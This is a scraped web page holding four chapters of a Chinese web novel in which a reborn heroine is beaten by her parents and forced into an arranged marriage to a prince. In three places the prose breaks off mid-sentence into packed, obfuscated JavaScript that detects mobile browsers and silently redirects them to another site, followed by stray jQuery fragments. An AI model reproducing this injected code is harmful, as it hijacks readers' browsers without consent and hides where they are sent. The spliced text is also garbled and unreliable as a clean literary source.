他这一巴掌扇得很重，打完之后他自己的手都在止不住地颤抖。 “我怎么就这么命苦，生出你这么个不孝女来？”他反手又给了她一巴掌，指着她的鼻子怒骂：“当爹的辛辛苦苦把你养这么大，难道对不起你吗？” “你不知道感恩也就罢了，还想把全家都往绝路上逼，我告诉你，不可能！” “你这样胡作非为，不孝父母，老天爷看到了也是容不下你的，你要被天打雷劈的知不知道？你不遵圣旨，不肯嫁人，那我问你，我生你这个女儿出来是做什么的？养一个花瓶在府里当摆设吗？” 他盛怒之下简直恨不得直接冲上去踹沐毓露一脚，不过手中的那道圣旨保留了他残存的理智。 眼前之人虽然还是他的女儿，按理来说他怎么打骂都不为过，但同时她很快又要有另一重身份。 女儿打得，定远王妃打不得，他心里还是有杆秤的。 沐毓露跪在他面前点了点头，然后将脑袋磕在地砖上，直磕得咚咚作响，“我现在就把生养之恩还给你们，你们就当没我这个女儿。” 沐昭氏和王姨娘赶过来时便刚好看到这一幕，站在院子外侧看了一会儿，见沐毓露磕头磕得满脸都是血还不停下，王姨娘走到沐玉罡跟前，抬手顺了顺他的气，“老爷消消气，快让大小姐起来吧，要是再这样磕下去可就真的要破相了。” 沐玉罡哼了一声，命人搬来一把椅子，在沐毓露面前坐下，“她自己非要磕那就让她磕，谁都不许拦，我看她能装模作样到什么时候！” 70. 第70章 院子里一时间鸦雀无声，只余下沐毓露磕头声的回响。 她将脑袋重重地砸在地上，全然是一副不要命的架势。 沐玉罡的眼中没有丝毫的心疼之意，只有满腔的愤怒。 一怒之下他将手中的圣旨掷到了沐毓露的身上，“好，你不想活了，那就干脆全家陪你一起死！” 这回轮到沐昭氏着急了，她扑过去手忙脚乱地抢下圣旨，仔仔细细看了一眼，发现上面没有沾上沐毓露的血迹，这才松了口气。 将圣旨交给身侧的秋池，她一把攥住沐毓露的头发，迫使她抬起头来，然后左右开弓狠狠掌掴起她，“我十月怀胎生下你，怀你的时候我的年纪也就跟你现在一般大，生你那日受尽了苦楚，险些难产血崩，现在我真是后悔，早知道你是个如此不知感恩的白眼狼，当时刚生下来我就应该直接掐死你，免得你现在作怪！” 沐毓露脸都被打肿了也没有哭，倒是沐昭氏自己说着说着先哭了起来：“我怀你生你吃了多少的苦？你以为你这条命是你自己的么？我告诉你不是！你的命是父母给的，你就算是想死也得经过父母应允，否则你死了也要下十八层地狱，永世不得超生！” “你若是不乖乖听从父母的安排，我当初又何苦冒那么大的风险生下你？你现在倒好，一句不想嫁，磕几个响头，就还了我们的生恩养恩了？那不能够！” 心云和默合在这时赶了过来，看见满头满脸都是血的沐毓露，心云发出一声尖叫，直接冲过来扑在了沐毓露的身上，下一秒沐昭氏狂风骤雨般的巴掌就落在了心云的脸上。 默合见现场无人劝阻，竟全都眼睁睁地看着沐昭氏将沐毓露往死了打，她顿时觉得心中有一股无名火起，冲过去一把推开了沐昭氏。 沐昭氏本就在气头上，冷不防被默合用力一推，脚步踉跄地向后倒去，若非秋池眼疾手快扶住了她，她的脸就要和地砖亲密接触了。 此时沐晚意也赶回了沐府，刚来到前厅便见到默合出手推搡母亲，她立马也愤怒地冲了过去，扬起一巴掌就落在了默合的脸上。 沐昭氏虽说被秋池扶住了，没有摔倒在地上，却还是不小心崴伤了脚，撑住秋池的胳膊哎呦哎呦地叫唤了起来。 紧跟在沐晚意身后赶到的蒲昭氏见到眼前这混乱的一幕，兴奋得跟什么似的，连忙也分开人群冲了过来，扶住沐昭氏就开始抹着眼泪大喊大叫：“苍天大地啊，这姑娘养这么大，她想要弑母呀！对自己的亲娘动手，还有没有王法啦！” 默合见她这样颠倒是非，顾不得脸上挨了一巴掌传来的刺痛，上前两步瞪着蒲昭氏，正想同她分辩人是自己推的，同小姐无关，却又被沐晚意推搡了一下。 二小姐近乎尖利的嗓音在她耳畔响起：“果然是有其主必有其仆，什么样的主子教出什么样的奴才！你竟然敢对我们沐府的当家主母动手，我非把你打一顿发卖给人牙子不可！” 此时此刻，沐府院子里的这场大戏可谓是精彩纷呈。 有携生养之恩以命相逼的父母，有跪地磕头满脸鲜血的女儿，还有哭天抢地恨不得给眼前混乱的局面再添上一把火的所谓亲戚。 世间百态，魑魅魍魉，居然都在这小小的院子里集齐了。 默合呆呆地注视着眼前这一幕，有些不可置信地摇了摇头。 她不明白，光天化日，朗朗乾坤，这里分明是人间，为何触目所及却皆是鬼怪？ 此刻站着的一大群人当中，有事不关己高高挂起的，有看热闹看得两眼放光的，也有惊恐不安生怕祸及自身的…… 唯有立于沐玉罡身后的风问棠目露悲悯不忍，他同情沐毓露的处境，也悲悯她此刻的遭遇，除此之外目光里还隐隐泛着心疼。 默合像抓住了救命稻草一般，朝着风问棠的方向跪下：“求求你了，救救小姐吧。” 她这话虽是求人，却并未指名道姓，但这些旁观的人怎么可能放过一处热闹，纷纷探寻地顺着她的目光望向了风问棠。 心云见状，也扑通一声朝风问棠跪下，“风护院，小姐她真的不想嫁给穆王爷，这你也是知道的，让她嫁进王府那就是要了她的命，求求你救救她。” 沐毓露的意识已经有些涣散了，她趴在地上艰难地抬起头来，也将目光投向了立于风波之外的风问棠身上。 她没有求他，而是流下一行血泪，将指甲深深地嵌进砖缝里，一字一句地道：“嫁进穆王府，我真的会死的。” 她不是在说一个预言，这话也不是她的想象，她艰难而又笃定地将这句话说出口，就像是在宣判自己的命运。 她实在是害怕，她真的不想回到上一世惨死的地方。 虽然已经重生，但她感觉前世那痛苦不甘的游魂仍在穆王府上空飘荡，若是再次回到那个地方，她会再一次重复那游魂的命运，她再也无法作为一个鲜活的人活在这个世上。 风问棠自然看得出沐毓露的恐惧，他眼中的心疼之意已经快要溢出来了，在这剧烈的钻心之痛下，他几乎有些站不稳身子，就连持剑的手都开始微微颤抖。 所有人都将目光落到他的身上，等待着他的选择，或者是一个回答。 他沉默且艰难地站在原地，好像只是在这里站着就耗尽了他所有的力气，他实在是不忍再看沐毓露乞求的眼神，过了半晌，他极为缓慢极为痛苦地闭上了眼睛，然后稍稍往后退了一步。 他这轻轻一退，瞬间浇灭了沐毓露眼中残存的光芒。 心云不敢相信地睁大了眼，默合却似乎早已经猜到了这个结局，发出了一声不合时宜的冷笑。 王姨娘在这时嗤笑道：“果然是不成规矩的丫鬟，自家小姐有了一门好亲事，你们不仅不劝，还求着一个护院相救。求他做什么？难道是嫌你们小姐的名声还不够臭？” 沐毓露恍恍惚惚地跪在原地，她的视线依旧落在风问棠的身上，但眼神里的光芒已经变得黯淡，这让她整个人显得有些呆滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602701|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她终于不再看他，缓缓将目光移开，视线扫过站在一旁不停地拍打着胸口给自己顺气的母亲，又扫过愤怒地站在她的面前目露凶光的妹妹，最后落到坐在太师椅上偏着头斜着眼瞪着她的父亲身上。 她眼睫微动，掺着血水的眼泪从睫毛上坠下，这轻轻一坠仿佛有万钧之重，扯弯了她的脊背让她再次跪伏在地。 心云慌忙上前想要扶住她，却被她轻轻按住了手。 沐毓露顺势再一次朝着坐在椅子上的沐玉罡一拜。 “我不会再闹了，这一场婚事既是父母之命也是天家恩赐，我谨遵父母之意。”说着她又朝沐昭氏一拜，然后在心云的搀扶下站起身来。 “生恩，养恩，我就此还了，从此两不相欠，我们来世也不要再见。” 她的声音很虚弱，但任谁都听得出来其中的坚决，那是一种割肉放血般的决绝，她转身离开这里，走向自己能够预见的命运，就这样没有丝毫留恋地与他们断绝了关系。 她这般决绝到仿佛是在赴死的态度，令沐玉罡都愣怔了一下。 蒲昭氏在这时候又叫嚷起来：“什么两不相欠？还来世也不要再见？姐姐啊，我真是为你不平啊，十月怀胎一朝分娩，吃了多少的苦受了多少的难，结果拼着性命就生下来这么一个女儿？就她那些没良心的话，我听着我都觉得心酸……” 她用手帕拭了拭眼泪，还想继续说，却被沐玉罡打断：“你闭嘴吧！这是我们的家事，不劳你费心！” 说着他又抬起手隔空点了点沐昭氏：“一个女儿已经被你教成这个样子了，另一个女儿还不好好管教？还任由她在这里胡闹？非要等她们惹下什么平不了的祸事，你才开心是不是？” 沐昭氏还没有开口，蒲昭氏先不服气地嚷道：“姐夫，你可明点理吧，这件事情关我姐姐什么事儿？又关晚意什么事儿？还不是你当初把小露扔在乡下不管，非要到京城来做什么生意，这才把一个孩子养成这个样子？” 沐玉罡从太师椅上站起来，一副不与小姨子计较的样子，剜了一眼沐昭氏，继续道：“你好歹是我沐玉罡的正妻，是沐府的女主人，你不能拿出担当来管理这偌大一个宅院，反而让一个外人在这里指手画脚，成什么样子？” 沐晚意一听这话不乐意了，跳起来就要维护她的姨母，“姨母是我母亲的亲妹妹，也就是是我的亲姨娘，她跟我们分明是血浓于水的一家人，怎么就是外人了？” 她这一插嘴，倒是让沐玉罡顺势将火力转移到了她的身上：“你还敢在这里插嘴，这里有你说话的地儿吗？一点都不懂规矩！你好好学学你妹妹，今天这场面你们这些小辈就不该出现，你今天在这里看着她影子了吗？这才叫做得体！” 沐晚意最恨他拿自己同沐星子比较，一听他这样说，当即捂着脸哭了起来。 因为沐毓露的离去而短暂平息下来的风波就这样再次被掀了起来，沐府的下人又开始看起了新乐子。 71. 第71章 吵归吵，闹归闹，饭还是要吃的。 沐府的这一场大戏终于在晚饭时分落下帷幕。 沐毓露这回又伤在了脸上，她回到院子之后就把自己锁了起来，任谁敲门也不肯见。 沐玉罡给她请了两个大夫，又吩咐人把饭菜送到她的屋里去，见她将饭菜都吃了，这才略微放下心来。 做这些事倒不是因为他有多关心她，主要是几日后她就要出嫁了，若真在这时候闹出了人命，或是真让她破了相毁了容，穆王爷一定第一个拿他开刀。 自从前次沐毓露在府里大闹了一番，穆王爷匆匆忙忙赶过来给她撑腰之后，他就时不时生出脖子上凉飕飕的幻觉，甚至半夜睡觉时会突然想起穆王爷看他的眼神，然后吓得立马下意识抬起手摸摸自己的脖子还在不在。 上一次穆衾寒实在是把他吓得狠了，留给他的心理阴影太大了，若非如此，今日沐毓露如此混账，他非把她吊起来打不可。 要不是因为她即将嫁给全京城最有权有势的人，他会容忍她这样在沐府胡闹？这丫头还是眼皮子太浅，根本就想不到这一层，还真以为做老子的会被当女儿的吓唬到？ 所以说女人家就是头发长见识短，什么事情都看不明白，唯一的用处也就是成婚之后生儿育女了。 想到这里，沐玉罡将目光投到了沐昭氏和沐晚意母女身上，思索了一下，他让母女两人晚饭之后到他的书房来一趟。 沐毓露的婚事已经敲定，接下来就该张罗沐晚意的婚事了。 夜幕降临，沐府的灯笼渐次亮起，沐玉罡的书房内烛火通明，一场大戏再次上演。 白天沐毓露闹了这么一出，沐玉罡的耐心已经被消耗殆尽，在听见沐晚意反对他安排的婚事，怎么也不肯嫁的时候，他彻底愤怒了。 将桌子上的杯盏烛台一把推落，他的声音吼得震天响：“一个二个都不想嫁，怎么着，真想上山当姑子去？我养你们到底是为了什么？” 沐晚意吓得往沐昭氏身后缩，虽然沐玉罡勃然大怒的样子让她很是害怕，但今日所议的是她的终身大事，她不打算退缩。 于是她鼓起勇气道：“我又没说我不嫁，我只是不想嫁给三皇子。” 沐玉罡气得在原地转圈：“三皇子有什么不好？人家是皇子！嫁给他难道还委屈了你？” 沐晚意抽抽嗒嗒地望了母亲一眼，此前沐昭氏告诫过她，绝对不能在父亲面前说自己早已经心有所属，要是敢这样说，真的会被沐玉罡拖出去打死，于是她只能咬咬牙道：“我怎么说也是沐府的嫡小姐，姐姐好歹还能嫁给王爷做正妃呢，怎么到我这里就只能给人做妾了？” 沐昭氏望着哭得眼睛红肿的女儿，觉得自己心都在滴血。 顾不得平日里遵循的那些教条，她第一次忤逆了自己的夫君：“老爷你可不能偏心啊，都是嫡出的女儿，小露风风光光出嫁成为定远王妃，凭什么晚意就只能做三皇子的侧妃？这不公平！” “我的老天爷啊，什么叫只能做三皇子的侧妃？”沐玉罡被她们的说辞震惊了，简直要气极反笑：“你们知不知道有多少朝廷大员、皇亲国戚挤破了脑袋想要把女儿嫁给三皇子当侧妃？” 他一时间无语凝噎，拍着大腿盯了她们半晌才继续道：“你们以为侧妃这个名分是什么不值钱的东西吗？我为了说动三皇子，几乎倾尽了半数的家产，就为了给你争得一个侧妃的名位，你居然还不满足？怎么，难道你还想当皇子妃不成？” 说到这里他压低了声音：“动你们的脑子想一想，皇帝病重，已经多久没露过面了？三皇子是他唯一一位已经成年的皇子，别看现在他被穆王爷压着，等到皇上龙驭宾天之后呢？难不成王爷还能上位？要真如此，他那就叫做谋权篡位，天下人人得而诛之！” “我问你们，除了穆王爷之外，还有谁有可能登基？这不是显而易见的事情？你现在是侧妃，等到三皇子登基，那你就摇身一变成贵妃了，现在想不想得通这笔账？” 最后他将袖子一拂，“所以说你们妇人就是见识短浅，眼光就只有芝麻粒那么大一点！” 然而他说了这么多，沐晚意仍旧只是抽抽嗒嗒地道：“那定远王妃不也是很多人挤破了脑袋都当不成的么？凭什么姐姐就可以轻轻松松嫁入王府做正妃？” 沐玉罡知道他方才那些话都白说了，胸口一闷差点吐出一口血来：“凭什么凭什么？哪有那么多凭什么？就凭人家穆王爷喜欢她，成不成？” 他冲过去想要将沐晚意从沐昭氏的身后揪出来，却被沐昭氏死死地挡住，气得他破口大骂：“你跟你姐是一个娘生的，怎么人家就能讨王爷的欢心，你就不能？你一天到晚除了在府里给我找事，你还能干什么？” “知不知道什么叫圣上赐婚？可不是穆王爷来找我们提亲的，那可是天子赐婚啊！若是王爷不到皇帝面前去求旨，他能赐婚吗？这说明什么？说明人家王爷是心甘情愿让小露当他的正妃，这岂是我能左右的？” 他是真的觉得很委屈：“打一开始我只想让她做王爷的侍妾来着，压根儿就没想过她能当正妃。能做王妃那是人家自己争气，你们有什么可眼热的？要真那么不服气，你也去讨三皇子的欢心，让他把皇子妃的位置给你啊！” 沐晚意越听越觉得心中酸涩，索性破口大骂起来：“她那是有本事吗？她那是不要脸！” 她知道自己是嫁不成意中人了，又听见父亲拿她和沐毓露比较，一时间悲愤交加，什么话都往外面吐：“反正我是学不来她那下贱样子，见到男人就往上扑，就她那不值钱的样儿能有男人不喜欢吗？” 沐玉罡气得吹胡子瞪眼，沐昭氏急得去捂沐晚意的嘴，顿时又闹得人仰马翻鸡飞狗跳。 守在书房外面的风问棠听见房间里闹出这么大的动静，知道一时半会儿他们是消停不下来了，于是悄悄地离开书房，往沐毓露的院子走去。 夜不算太深，沐毓露院子里的灯盏却已经全都熄了，只余一豆灯火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608004|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在窗口摇曳。 他不敢进去，也不敢叩门，只是安静地立在院子门口，遥遥地注视着窗口那一抹微弱的光亮。 直到心云抱着沐毓露换下来的染血的衣物走出门，这才发现风问棠静默地伫立在院子外面。 她与风问棠对视了一眼，不待他开口，便避之不及地转过身想要回屋子去。 风问棠连忙唤住她：“心云，你等一下！” 心云停下步子，回过头来望他，语气里有一股愤怒的疏离：“风护院有何指教？” 风问棠知她心中有气，没有多说什么，只是询问她：“小姐身上的伤势如何了？” 心云始终与他保持着距离，站在原地大声地道：“有劳风护院关心，不过小姐的伤跟你没关系。” 风问棠沉默地闭上了嘴。 便在这时房门打开，换了一身单薄素衣的沐毓露走了出来。 她身上的伤已经都处理过了，原本白皙的脸颊此刻红肿了一片，眼眶里还残留有一片雾蒙蒙的湿润，倒映着朦胧的灯光，让她整个人显得如在云端。 分明就在眼前，却又如此遥远。 风问棠痴痴地望着她，觉得自己的心脏在这瞬间漏跳了一拍。 沐毓露缓缓向他走来，目光很是平静，不似心云那般愤懑。她在他面前站定，然后对他笑了笑，轻描淡写地道：“我没事，都是小伤，三五日就好了。” 风问棠犹豫着想要开口，却又实在不知道能在她面前说些什么，说他其实一直都很想带她走？还是告诉她自己的真实身份，同她讲他是有苦衷的？ 面对这样伤痕累累的她，他说不出一句为自己辩解的话。 两人相对无言，风问棠有很多的话想说却不知道该怎么说出口，最后还是沐毓露先开了口：“我知道你想说什么，我不怪你。” “我知道你若只是风护院，一定会拼尽全力救我离开，可沐府护院只是你用来隐藏真实身份的幌子，对吗？” “你还有另外一重身份，你不必告诉我那重身份的责任是什么，我知道你不能暴露它。方才你已在我和它之间做出了选择，你放弃了我选择了它，但这并没有错，所以我不会怪你。” 她语气里的淡然让风问棠明白，她是真的不曾怪过他。 说完她回首示意心云，让她将自己早已准备好的银两拿出来。 看到她将那一袋子沉甸甸的银两递给自己的时候，风问棠的心狠狠一抽。他没有接过那个袋子，而是抬首望着沐毓露：“这些银子是什么意思？你要彻底与我划清界限了么？” 沐毓露摇了摇头，“这是我早就已经准备好的，本想离开京城的时候再交给你，谢谢你在我最落魄的时候愿意相信我，愿意借我银子让我去置办那些屋契。” 她将那袋银子硬塞进风问棠手里，“这里面还有一些银票，还的是你当初借我的本金，其余的银两是我之前答应过给你的分红。你还是收下吧，不要让我带着遗憾嫁进王府。” 72. 第72章 她已经将话说得如此清楚明白，他根本就无言以对。 说完这番话之后沐毓露便转身回屋，自始至终都没有再多看他一眼。 她的确不曾怪他，也仍旧拿他当朋友，但事已至此，各有各的难处，他们之间的确是没有必要再多说些什么了。 心云跟随沐毓露回到房间，见她又坐回了窗前，望着不远处的那一盏烛火发呆，担忧地蹲到了她的身前，“小姐，我知道你还是不想嫁给穆王爷，现在还有时间，我们要不再想想办法？” 她飞快地思索着，突然想到了什么，眼前一亮道：“我们去求齐小姐吧？还有齐公子，他不是今日才走吗？一定还没有走远，我们想办法给他传信，他说不定会回来帮我们的。” 沐毓露没有说话，只是无言地摇了摇头。 心云不甘心地摇了摇她的胳膊，“为什么呀小姐？齐公子应该是唯一能帮上忙的人了。” 沐毓露垂首注视着她，“三皇子生辰宴那晚他救下我和三州堇璱，已冒了极大的风险，我不能再让他以身涉险。而且即便我们求到了他头上，他也愿意帮我，但你以为齐夫人她会答应吗？” 她虽然已经走投无路了，却依然保持着清醒：“若齐夫人一力反对，甚至以性命相胁，难道他会不顾母亲的性命，不顾齐府一家上下的安危，豁出一切来带我走吗？” 她再一次摇了摇头，“他不会的。” 她一字一句认真地对心云道：“风问棠尚且有他不能出手相助的原因，齐知止要面对的阻力只会更大。既然已经知道结果是什么，我们就没有必要再去做无谓的努力。” 沐毓露的话还没有说完，心云就已经低声啜泣了起来：“真的没有办法了吗？真的就没有一个人能帮到小姐吗？” 夜风从窗户灌进来，沐毓露往后缩了缩身子，突然瞥见被她搁在桌子上的青铜面具。 那是三州堇璱送给她的面具，他向她承诺过，只要她想离开这里，无论什么时候，他都会回来带她走。 她起身行至桌前，伸手拿起了那个面具。 没有希望就不会有失望，她已经失望过太多次了，要再相信别人一次吗？ 犹豫了片刻，她转身将面具递给心云，“我被看守起来，不能够离开沐府，接下来几日你就替我出门，想办法把这个面具带到天下第一楼，交给一个叫做小唐的伙计，然后把府里的情形告诉他，他知道该怎么做。” 心云自然也认出了这个面具，她双手接过了它，心里却很怀疑：“小姐，风护院和齐公子就在眼前也帮不了你，那三州堇璱总是神出鬼没的，就算消息真的递给了他，他会千里迢迢赶回来救你吗？” 沐毓露其实也不敢保证，她只是道：“我于他有救命之恩，他也许会回来报恩吧。” 眼下他是她唯一的希望了，他若能来，她自然欢喜，他若不能，她也不会怨怼。 总归这是她自己的命运，自己咬牙面对就是。 此后两日，心云便以给沐毓露上街抓药为由，想办法带着面具离开沐府，悄悄地去天下第一楼寻人。 可惜时机不巧，连着两日那小唐都不在酒楼，说是轮休去了，直到第三日她才终于等到了他。 将面具交给他之后，她转述了沐毓露所说的话，转身正要离开，忽听见楼里几个跑堂的正在说着闲话，而那闲话里的主角正是他们的少东家齐知止。 “欸，听说了没有，齐公子前儿个连夜回来的，这两天在府里跟夫人闹绝食呢。” “公子不是去玄武国了吗？怎么这么快就回来了？” “还不是为了那位，啧啧，这可真是红颜祸水啊。” “你又是从哪儿听来的这些消息？” “我不是有个相好的在齐府当差吗？你别看齐府一点声儿都没传出来，这件事情在府里头的动静闹得可大了。” “行了行了，主人家的事情少议论，还是赶紧干活儿吧。” 那两人的声音逐渐淹没在了酒楼嘈杂的人声之中，而心云在此时转身就跑，飞快地朝齐府奔去。 她就知道齐公子是不会那么轻易就放弃小姐的，在她心目当中齐知止可比三州堇璱要靠谱得多，因此在听见那两个跑堂所议论的话之后，她立马就赶去齐府，想试试能不能在齐府附近探得一些更确切的消息。 她已经想好了，若是齐公子当真如那两个跑堂所说，真的为了小姐连夜赶了回来，那她就立马把这个消息告诉沐毓露。 两个人一起争取，总比一个人独自抗争要有希望得多。 然而她没有想到，才跑到齐府对面，就刚好看见齐夫人拿刀架在自己脖子上对齐知止以命相逼的一幕。 她愣愣地站在街对面，突然就一步都走不动了。 还真让小姐说中了啊。 隔得太远，她听不清齐夫人和齐知止争执了些什么，只看见一辆马车停在齐府门口，齐知止抬步欲上，却被齐夫人一把拽了下来。 齐夫人一向端庄大方，这应当是她第一次在众人面前露出如此失态的模样，一旁的齐知秋想拉她都拉不住。 她一会儿拿刀架在自己的脖子上，一会儿又要扑过去以头撞墙，齐知止兄妹自然是拼命地拦，过了一会儿，他们终于妥协，扶着母亲回到了府中。 齐府的大门就此关上，再也没有打开。 心云在门外站了半晌，目光逐渐由热切变为冰冷，最后她抿了抿唇，转身回到沐府。 刚一踏进院子沐毓露便发现了她的闷闷不乐：“怎么了？今天还是没有等到小唐吗？” 心云摇了摇头，只字未提方才在齐府看到的那一幕，只是担忧地说道：“今天总算是见到他了，我把面具给了他，也向他转述了小姐的话。但我就是很担心，我担心三州堇璱他赶不回来，也担心他不愿意冒这么大的风险前来相助。” 沐毓露拍了拍她的脑袋，“不管怎么说，我们已经努力过了，担心这么多也没有用。” 说着她站起身来，“今日父亲将嫁妆单子拿给我看，他们将嫁妆倒是备得很丰厚， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612962|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这会儿要去向母亲行礼道谢，你随我一起吧。” 心云不满地撅了撅嘴：“他们将嫁妆备得丰厚还不是看在穆王爷的面子上，全京城的人都盯着这门亲事呢，老爷总不能备薄薄的嫁妆让所有人看他的笑话。你嫁的若不是王爷，那嫁妆单子就不是这个规格了。” 沐毓露摇摇头，一边带着心云向沐昭氏的院子走去，一边道：“这其中的道理你我都知道，却没有必要放到明面上来说。几日之后不管是逃离沐府还是嫁入王府，总归今生我与他们都没什么机会再见了，各自把面子上的功夫做好就成，免得给自己平添麻烦。” 心云一边听一边连声地应着。 两人行至沐昭氏的院子，没想到刚一进门便见到坐在院子里纳凉的蒲昭氏。 蒲昭氏自然也看见了沐毓露，她似乎全然忘记了自己几天前是如何辱骂沐毓露的，一见到她立马跟个没事人似的迎了上来。 沐毓露板着脸与她寒暄了两句，抬步准备往主屋走，却被蒲昭氏给拦住，“你娘跟你妹妹这会儿在屋子里呢，你还是等会儿去找她吧。” 沐毓露好笑地望了她一眼，“我不过是来向母亲行礼言谢的，行完这个礼我就走，又不耽误她们什么。” 蒲昭氏挤眉弄眼地叹了口气，讳莫如深地道：“不是什么耽误不耽误的事儿，主要是……唉，姨娘也是为了你好，也是怕你听了那些话伤心难过，你就在这儿等着，待会儿再去呗。” 她倒是很了解沐毓露，知道自己越是这样说，对方便越忍不住要过去听。 沐毓露一把打开蒲昭氏伸到半空中想要拉住她的手，转身便朝里屋走去，还没有走到门口就听见了里面传来的声音。 那是沐昭氏的声音，此刻她正刻意压低了嗓音，絮絮地嘱咐着沐晚意：“这些都是娘攒了半辈子的体己钱，你好好收着，平时别往外漏财，尤其别让你姐姐知道了。” 那声音分明轻得如同蛛丝，却一字一字清清楚楚地钻进了沐毓露的耳朵里，冷硬地刺入了心间。 沐毓露指尖发凉，她透过门扉未合严的缝隙向内望去，正好看见沐昭氏将一只沉甸甸的紫檀匣子递到沐晚意的手中。 匣盖开启的瞬间，宝光四溢，灼灼刺目。 里面静静地卧着整套红宝石头面，簪子上镶嵌的鸽血宝石火彩流转，旁边还躺着一对金丝嵌珍珠的钗子，金丝纤细如发，珍珠浑圆饱满，委实是华丽至极。 沐晚意赞叹地将它举了起来，仔细地打量着，“这套头面可真好看，娘，我以后要是落魄了，怕是只要典当这一两个钗子，余生就都不用愁了。” 沐昭氏宠溺地捏了捏沐晚意的脸，声音是沐毓露从未听过的柔软：“你这傻孩子，以后你是有福气住进宫里去的，怎么可能落魄到要去典当头面？” 说着她又打开另外一个匣子，“城郊别院山庄那上好的五十亩水田，还有城东锦云楼和脂玉斋两间铺面的契书，娘都给你备下了，每年单是收息都够你嚼用，平日里可千万别亏待了自己。” 73. 第73章 说着沐昭氏的声音带上了一点哭腔：“你的性子跟你姐姐不同，你跟娘是一样的，遇事只知道哭，娘总怕你吃亏，所以才在嫁妆单子之外给你添这么多私房钱。” “便连娘也没有想到，你姐出嫁之后紧接着就是你，娘总想着你还能陪我两年……但你也知道你爹的脾气，向来是说一不二的。” “你还能陪在娘身边的时间，左不过三五个月了，娘真是舍不得。” 沐晚意也红了眼眶，俯身扑进沐昭氏的怀里，母女两个人抱头哭了一会儿后，沐昭氏从袖子里摸出一叠薄薄的纸片。 看那纸的颜色与纹路，分明便是钱庄的银票，这样一叠银票，少说也有上千两。 她将这些银票全都塞进沐晚意手里，“这个贴身收着，压箱底，万不可叫人看见，尤其不能让你姐姐看到，她那个性子，看到了一定会闹的，到时候又是鸡犬不宁。” 廊外不知何时下起了雨，几滴雨丝飘落在沐毓露的胳膊上，针扎般的疼。 其实她早知道母亲偏心，沐昭氏早就在心里筑起了一堵无形的高墙，她在墙外，沐晚意在墙内。 她本已接受了这个事实，可是在临出嫁前听到这番话，她的心里依旧很不好受。 丰厚的田产铺子也好，光华夺目的头面首饰也罢，包括那些一张一张攒下来的银票，这些都不过是身外之物，沐毓露其实一点都不在乎。 她在乎的是由这些东西砌起来的高墙，每一砖每一瓦都无声地诉说着她从来不曾得到过的疼惜。墙外的风雨需要她独自承受，而和她出自同胞的沐晚意却被母亲用爱牢牢地护在墙内。 她沉默地倚在廊下的柱子上，方才沐昭氏那句“莫要告诉姐姐”仍在她的耳畔萦绕。 心云守在她的身侧，担心地扶住她，小声地道：“小姐，我看我们还是先回去吧。” 沐毓露沉默地摇了摇头，她好像被抽干了力气，只能无力地倚靠在柱子上，任由斜雨飘进廊下打湿她的肩头。 不知过了多久，屋里依偎在一起的两道身影终于分开，沐昭氏替沐晚意擦了擦眼泪，母女两人起身并肩向屋外走去，刚打开门便见到失魂落魄站在廊下的沐毓露。 沐昭氏吓了一跳，看清站在门口的是谁之后不由更加心虚，她转首望了一眼沐晚意，示意她先回屋去。 沐晚意瞟了沐毓露一眼，抬手握住沐昭氏的手，撒娇地摇了摇头，“母亲答应了我的，今天要陪我去好好地挑一挑京城时兴的成衣，您别在这里浪费时间了。” 沐昭氏还没有开口，沐毓露先道：“我同母亲有话要说，她待会儿再来陪你。” 沐晚意不理会她，只是跺着脚一味地冲沐昭氏撒娇：“母亲现在就陪我去嘛，现在时间充裕，挑完成衣还来得及去吃茶点。” 沐毓露走到她的面前，盯着她的眼睛一字一句地道：“我说我现在找母亲有事，你听不懂人话么？” 眼看着姐妹二人又要吵起来，沐昭氏一把拉住沐晚意，将她往自己的身后扯。 然后她不满地瞪了一眼沐毓露，“有话就好好说话，这么趾高气昂的干什么？” 沐晚意躲在她身后嘟囔了一句：“还不是因为觉得自己要嫁进穆王府，马上就成为定远王妃了，所以才这么大的阵仗。” 沐昭氏轻轻地推了沐晚意一把，“好了，你先回你的房间去，这边的事情一结束母亲就来找你。” 沐晚意这才点了点头，不情不愿地走了。 等她的身影消失在了走廊尽头，沐昭氏才对沐毓露道：“你有什么话要说？现在说吧。” 这样疏离的语气，仿佛两人不是母女而是陌路人。 沐毓露直接说道：“方才你们在屋里的话我都听到了。” 沐昭氏表情平静，这在她的意料之内，她一打开门见到沐毓露的表情时就猜到了。 面对沐毓露掺杂着心痛与质询的目光，她只是轻飘飘地说了一句：“听到便听到了吧。” “听到便听到了吧？”沐毓露不可思议地重复了一遍沐昭氏的话：“我也是你的女儿，我叫你一声母亲，你就没有什么话想跟我说吗？” 